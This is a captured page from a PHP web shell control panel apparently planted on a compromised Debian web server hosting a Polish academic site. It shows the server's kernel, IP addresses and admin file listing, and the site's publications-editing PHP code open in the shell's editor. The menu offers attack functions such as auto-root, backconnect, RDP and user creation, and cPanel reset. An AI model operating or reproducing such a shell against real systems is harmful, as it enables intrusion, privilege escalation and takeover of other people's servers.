Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.147.56.125
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web.back /
v2021 /
protected /
Pages /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
ClassCatalog.page
18.95
KB
-rw-r--r--
ClassCatalog.php
16.13
KB
-rw-r--r--
ClassMaterials.page
2.26
KB
-rw-r--r--
ClassMaterials.php
4.73
KB
-rw-r--r--
ClassSchedule.page
1.58
KB
-rw-r--r--
ClassSchedule.php
1.26
KB
-rw-r--r--
ClassScheduleBlockEdit.page
2.7
KB
-rw-r--r--
ClassScheduleBlockEdit.php
7.7
KB
-rw-r--r--
ContentBrowse.page
1.41
KB
-rw-r--r--
ContentBrowse.php
4.16
KB
-rw-r--r--
GlobalPapersEdit.page
3.43
KB
-rw-r--r--
GlobalPapersList.php
1.37
KB
-rw-r--r--
Home.page
43
B
-rw-r--r--
Login.page
670
B
-rw-r--r--
Login.php
446
B
-rw-r--r--
NewsItemEdit.page
3.1
KB
-rw-r--r--
NewsItemEdit.php
2.25
KB
-rw-r--r--
NewsItemImageEdit.page
1.49
KB
-rw-r--r--
NewsItemImageEdit.php
3.97
KB
-rw-r--r--
NewsItems.page
2.08
KB
-rw-r--r--
NewsItems.php
1.46
KB
-rw-r--r--
PaperCoverEdit.page
1.47
KB
-rw-r--r--
PaperCoverEdit.php
4.08
KB
-rw-r--r--
PapersEdit.page
5.44
KB
-rw-r--r--
PapersEdit.php
12.41
KB
-rw-r--r--
PasswordChange.page
511
B
-rw-r--r--
PasswordChange.php
1.16
KB
-rw-r--r--
RightBoxEdit.page
2.54
KB
-rw-r--r--
RightBoxEdit.php
4.1
KB
-rw-r--r--
RightBoxImageEdit.page
1.47
KB
-rw-r--r--
RightBoxImageEdit.php
4.11
KB
-rw-r--r--
RightBoxesList.page
1.52
KB
-rw-r--r--
RightBoxesList.php
1.47
KB
-rw-r--r--
UserBrowse.page
3.46
KB
-rw-r--r--
UserBrowse.php
2.79
KB
-rw-r--r--
UserCreate.page
1.86
KB
-rw-r--r--
UserCreate.php
1.51
KB
-rw-r--r--
UserEdit.page
8.95
KB
-rw-r--r--
UserEdit.php
8.9
KB
-rw-r--r--
UserPapers.page
3.63
KB
-rw-r--r--
UserPapers.php
1.74
KB
-rw-r--r--
UserPhotoEdit.page
1.5
KB
-rw-r--r--
UserPhotoEdit.php
3.96
KB
-rw-r--r--
config.xml
227
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PapersEdit.php
<?php class PapersEdit extends KAdminPage { private $_Paper; private $_all_ifk_users; public $OverrideMode = false; public function onLoad($p) { parent::onLoad($p); if ($this->Request['uid'] == -1) { $this->OverrideMode = true; } if (is_numeric($this->Request['pid'])) { $this->_all_ifk_users = KUserRecord::getAll(); $pid = $this->Request['pid']; if (intval($pid) == -1) { $this->_Paper = new KPaper; $this->_Paper->type = $this->Request['pt']; $this->_Paper->save(); $this->response->Redirect($this->Service->constructUrl('Admin.PapersEdit', array('pid'=>$this->Paper->id, 'uid'=>$this->Request['uid']))); } else { $this->_Paper = KPaper::finder()->findByPk($pid); if ($this->Paper instanceof KPaper) { if (!$this->isPostBack && !$this->isCallBack) { $this->bindTextControls(); $this->bindData(); } } else parent::Error("Błędny identyfikator publikacji"); } } } public function getPaper() { return $this->_Paper; } public function backToPapersList() { $this->response->Redirect($this->Service->constructUrl('Admin.UserPapers', array('uid'=>$this->Request['uid']))); } public function publicationTypeChanged($sender, $param) { $this->switchPaperType($sender->SelectedValue); } public function switchPaperType($type) { $this->setAllPanelsVisible(); switch($type) { case KPaper::PUBTYPE_BOOK: $this->InPanel->Visible = false; break; case KPaper::PUBTYPE_ARTICLE: $this->PublisherPanel->Visible = false; $this->PlacePanel->Visible = false; $this->YearPanel->Visible = false; $this->InAuthorsPanel->Visible = false; $this->InPublisherPanel->Visible = false; $this->InPlacePanel->Visible = false; $this->InPublicationLabel->Text = "Dane czasopisma"; $this->InTitleLabel->Text = "Tytuł i numer"; $this->InYearLabel->Text = "Rocznik"; break; case KPaper::PUBTYPE_PAPERINBOOK: $this->PublisherPanel->Visible = false; $this->PlacePanel->Visible = false; $this->YearPanel->Visible = false; $this->InPublicationLabel->Text = "Dane publikacji zawierającej"; $this->InTitleLabel->Text = "Tytuł"; $this->InYearLabel->Text = "...i rok wydania"; break; } } public function setAllPanelsVisible() { $this->InPanel->Visible = true; $this->PublisherPanel->Visible = true; $this->PlacePanel->Visible = true; $this->YearPanel->Visible = true; $this->InAuthorsPanel->Visible = true; $this->InPublisherPanel->Visible = true; $this->InPlacePanel->Visible = true; } public function getAuthorData() { if (!$this->isPostBack && !$this->isCallBack) { $authors = array(); $authordata = $this->Paper->getAuthors(); for($i=0; $i<count($authordata); $i++) { $authors[$i]->name = $authordata[$i]->name; $authors[$i]->type = $authordata[$i]->type; } $authors = array_pad($authors, max(4, count($authors)+2), ''); $this->AuthorsList->setViewState('AuthorData', serialize($authors)); } else { $authors = unserialize($this->AuthorsList->getViewState('AuthorData', array())); } return $authors; } public function getInAuthorData() { if (!$this->isPostBack && !$this->isCallBack) { $authors = array(); $authordata = $this->Paper->getInAuthors(); for($i=0; $i<count($authordata); $i++) { $authors[$i]->name = $authordata[$i]->name; $authors[$i]->type = $authordata[$i]->type; } $authors = array_pad($authors, max(4, count($authors)+2), ''); $this->InAuthorsList->setViewState('InAuthorData', serialize($authors)); } else { $authors = unserialize($this->InAuthorsList->getViewState('InAuthorData', array())); } return $authors; } public function bindTextControls() { $this->Title->Text = $this->Paper->title; $this->PublicationType->SelectedValue = $this->Paper->type; $this->switchPaperType($this->Paper->type); $this->Notes->Text = $this->Paper->notes; switch($this->Paper->Type) { case KPaper::PUBTYPE_ARTICLE: $this->InTitle->Text = $this->Paper->in_title; $this->InYear->Text = $this->Paper->year; $_pages = explode(';;;;', $this->Paper->in_pages); $this->InPagesFrom->Text = $_pages[0]; $this->InPagesTo->Text = $_pages[1]; break; case KPaper::PUBTYPE_BOOK: $this->Publisher->Text = $this->Paper->publisher; $this->Year->Text = $this->Paper->year; $this->Place->Text = $this->Paper->place; break; case KPaper::PUBTYPE_PAPERINBOOK: $this->InTitle->Text = $this->Paper->in_title; $this->InYear->Text = $this->Paper->year; $this->InPlace->Text = $this->Paper->place; $this->InPublisher->Text = $this->Paper->publisher; $_pages = explode(';;;;', $this->Paper->in_pages); $this->InPagesFrom->Text = $_pages[0]; $this->InPagesTo->Text = $_pages[1]; break; } } public function bindData() { //echo TVarDumper::dump($this->getAuthorData()); $this->AuthorsList->setDataSource($this->getAuthorData()); $this->AuthorsList->dataBind(); $this->InAuthorsList->setDataSource($this->getInAuthorData()); $this->InAuthorsList->dataBind(); } public function fillAuthorData($sender, $param) { $item = $param->Item; $author_types = array(KAuthor::AUTHORTYPE_AUTHOR => "autor:", KAuthor::AUTHORTYPE_EDITOR => "pod red.:", KAuthor::AUTHORTYPE_TRANSLATOR => "przekł.:"); $item->AuthorType->setDataSource($author_types); $item->AuthorType->dataBind(); $item->IFKAuthors->setDataSource($this->_all_ifk_users); $item->IFKAuthors->dataBind(); $item = $param->Item; if (($author = KUserRecord::parseAuthorEntry($item->Data->name)) instanceof KUserRecord) { $item->AuthorName->Visible = false; $item->IFKAuthorName->Text = $author->NameAndTitle; $item->IFKAuthorName->Visible = true; $item->IFKAuthorDeleteButton->Visible = true; $item->IFKAuthors->Visible = false; $item->AuthorName->Visible = false; $item->AuthorLabel->Visible = false; if (isset($this->Request[str_replace('_', '$', $item->AuthorType->ClientID)])) $item->AuthorType->SelectedValue = $this->Request[str_replace('_', '$', $item->AuthorType->ClientID)]; else $item->AuthorType->SelectedValue = $item->Data->type; } else { if (isset($this->Request[str_replace('_', '$', $item->AuthorName->ClientID)])) $item->AuthorName->Text = $this->Request[str_replace('_', '$', $item->AuthorName->ClientID)]; else $item->AuthorName->Text = $item->Data->name; if (isset($this->Request[str_replace('_', '$', $item->AuthorType->ClientID)])) $item->AuthorType->SelectedValue = $this->Request[str_replace('_', '$', $item->AuthorType->ClientID)]; else $item->AuthorType->SelectedValue = $item->Data->type; } } public function fillInAuthorData($sender, $param) { $item = $param->Item; $author_types = array(KAuthor::AUTHORTYPE_AUTHOR => "autor:", KAuthor::AUTHORTYPE_EDITOR => "pod red.:", KAuthor::AUTHORTYPE_TRANSLATOR => "przekł.:"); $item->InAuthorType->setDataSource($author_types); $item->InAuthorType->dataBind(); $item->IFKInAuthors->setDataSource($this->_all_ifk_users); $item->IFKInAuthors->dataBind(); $item = $param->Item; if (($author = KUserRecord::parseAuthorEntry($item->Data->name)) instanceof KUserRecord) { $item->InAuthorName->Visible = false; $item->IFKAuthorName->Text = $author->NameAndTitle; $item->IFKAuthorName->Visible = true; $item->IFKAuthorDeleteButton->Visible = true; $item->IFKInAuthors->Visible = false; $item->InAuthorName->Visible = false; $item->InAuthorLabel->Visible = false; if (isset($this->Request[str_replace('_', '$', $item->InAuthorType->ClientID)])) $item->InAuthorType->SelectedValue = $this->Request[str_replace('_', '$', $item->InAuthorType->ClientID)]; else $item->InAuthorType->SelectedValue = $item->Data->type; } else { if (isset($this->Request[str_replace('_', '$', $item->InAuthorName->ClientID)])) $item->InAuthorName->Text = $this->Request[str_replace('_', '$', $item->InAuthorName->ClientID)]; else $item->InAuthorName->Text = $item->Data->name; if (isset($this->Request[str_replace('_', '$', $item->InAuthorType->ClientID)])) $item->InAuthorType->SelectedValue = $this->Request[str_replace('_', '$', $item->InAuthorType->ClientID)]; else $item->InAuthorType->SelectedValue = $item->Data->type; } } public function addIFKAuthor($sender, $param) { $item_index = $sender->parent->ItemIndex; $authors = $this->getAuthorData(); $authors[$item_index] = new stdClass(); $authors[$item_index]->name = '@@'.$sender->SelectedValue; $this->AuthorsList->setViewState('AuthorData', serialize($authors)); $this->bindData(); } public function deleteIFKAuthor($sender, $param) { $item_index = $sender->parent->ItemIndex; $authors = $this->getAuthorData(); $authors[$item_index]->name = ''; $this->AuthorsList->setViewState('AuthorData', serialize($authors)); $this->bindData(); } public function addIFKInAuthor($sender, $param) { $item_index = $sender->parent->ItemIndex; $authors = $this->getInAuthorData(); $authors[$item_index]->name = '@@'.$sender->SelectedValue; $this->InAuthorsList->setViewState('InAuthorData', serialize($authors)); $this->bindData(); } public function deleteIFKInAuthor($sender, $param) { $item_index = $sender->parent->ItemIndex; $authors = $this->getInAuthorData(); $authors[$item_index]->name = ''; $this->InAuthorsList->setViewState('InAuthorData', serialize($authors)); $this->bindData(); } public function savePaper() { //mains if ($this->Title->SafeText == '') { $this->Master->messageError('Musisz podać tytuł publikacji'); } else { $this->Paper->title = $this->Title->SafeText; $this->Paper->notes = $this->Notes->SafeText; if ($this->PublicationTypePanel->Visible) $this->Paper->type = $this->PublicationType->SelectedValue; switch($this->Paper->Type) { case KPaper::PUBTYPE_ARTICLE: $this->Paper->in_title = $this->InTitle->SafeText; $this->Paper->year = $this->InYear->SafeText; $this->Paper->in_pages = $this->InPagesFrom->SafeText.";;;;".$this->InPagesTo->SafeText; $this->Paper->publisher = null; $this->Paper->place = null; break; case KPaper::PUBTYPE_BOOK: $this->Paper->publisher = $this->Publisher->SafeText; $this->Paper->year = $this->Year->SafeText; $this->Paper->place = $this->Place->SafeText; $this->Paper->in_pages = null; $this->Paper->in_title = null; break; case KPaper::PUBTYPE_PAPERINBOOK: $this->Paper->in_title = $this->InTitle->SafeText; $this->Paper->year = $this->InYear->SafeText; $this->Paper->place = $this->InPlace->SafeText; $this->Paper->publisher = $this->InPublisher->SafeText; $this->Paper->in_pages = $this->InPagesFrom->SafeText.";;;;".$this->InPagesTo->SafeText; break; } $viewstate_author_data = $this->getAuthorData(); $viewstate_in_author_data = $this->getInAuthorData(); $this->bindData(); $self_added = false; foreach($viewstate_author_data as $author) if ($author->name == '@@'.$this->Request['uid']) $self_added = true; if (!$self_added && !$this->OverrideMode) $this->Master->messageError('Wygląda na to, że nie dodałeś samego siebie jako jednego z autorów publikacji! Wybierz swoje nazwisko z rozwijanej listy i przypisz odpowiednią funkcję.'); else { $this->Paper->clearAuthors(); foreach($this->AuthorsList->Items as $item) { if ($item->AuthorName->Text != '' || $viewstate_author_data[$item->ItemIndex]->name != '') if ($item->AuthorName->Visible) $this->Paper->addAuthor($item->AuthorType->SelectedValue, $item->AuthorName->SafeText); else { if ($viewstate_author_data[$item->ItemIndex]->name == '@@'.$this->Request['uid']) $self_added = true; $this->Paper->addAuthor($item->AuthorType->SelectedValue, $viewstate_author_data[$item->ItemIndex]->name); } } if ($this->Paper->type == KPaper::PUBTYPE_PAPERINBOOK) foreach($this->InAuthorsList->Items as $item) { if ($item->InAuthorName->Text != '' || $viewstate_in_author_data[$item->ItemIndex]->name != '') if ($item->InAuthorName->Visible) $this->Paper->addInAuthor($item->InAuthorType->SelectedValue, $item->InAuthorName->SafeText); else $this->Paper->addInAuthor($item->InAuthorType->SelectedValue, $viewstate_in_author_data[$item->ItemIndex]->name); } $this->Paper->save(); $this->Master->messageSuccess("Zapisano zmiany"); } } } } ?>
Close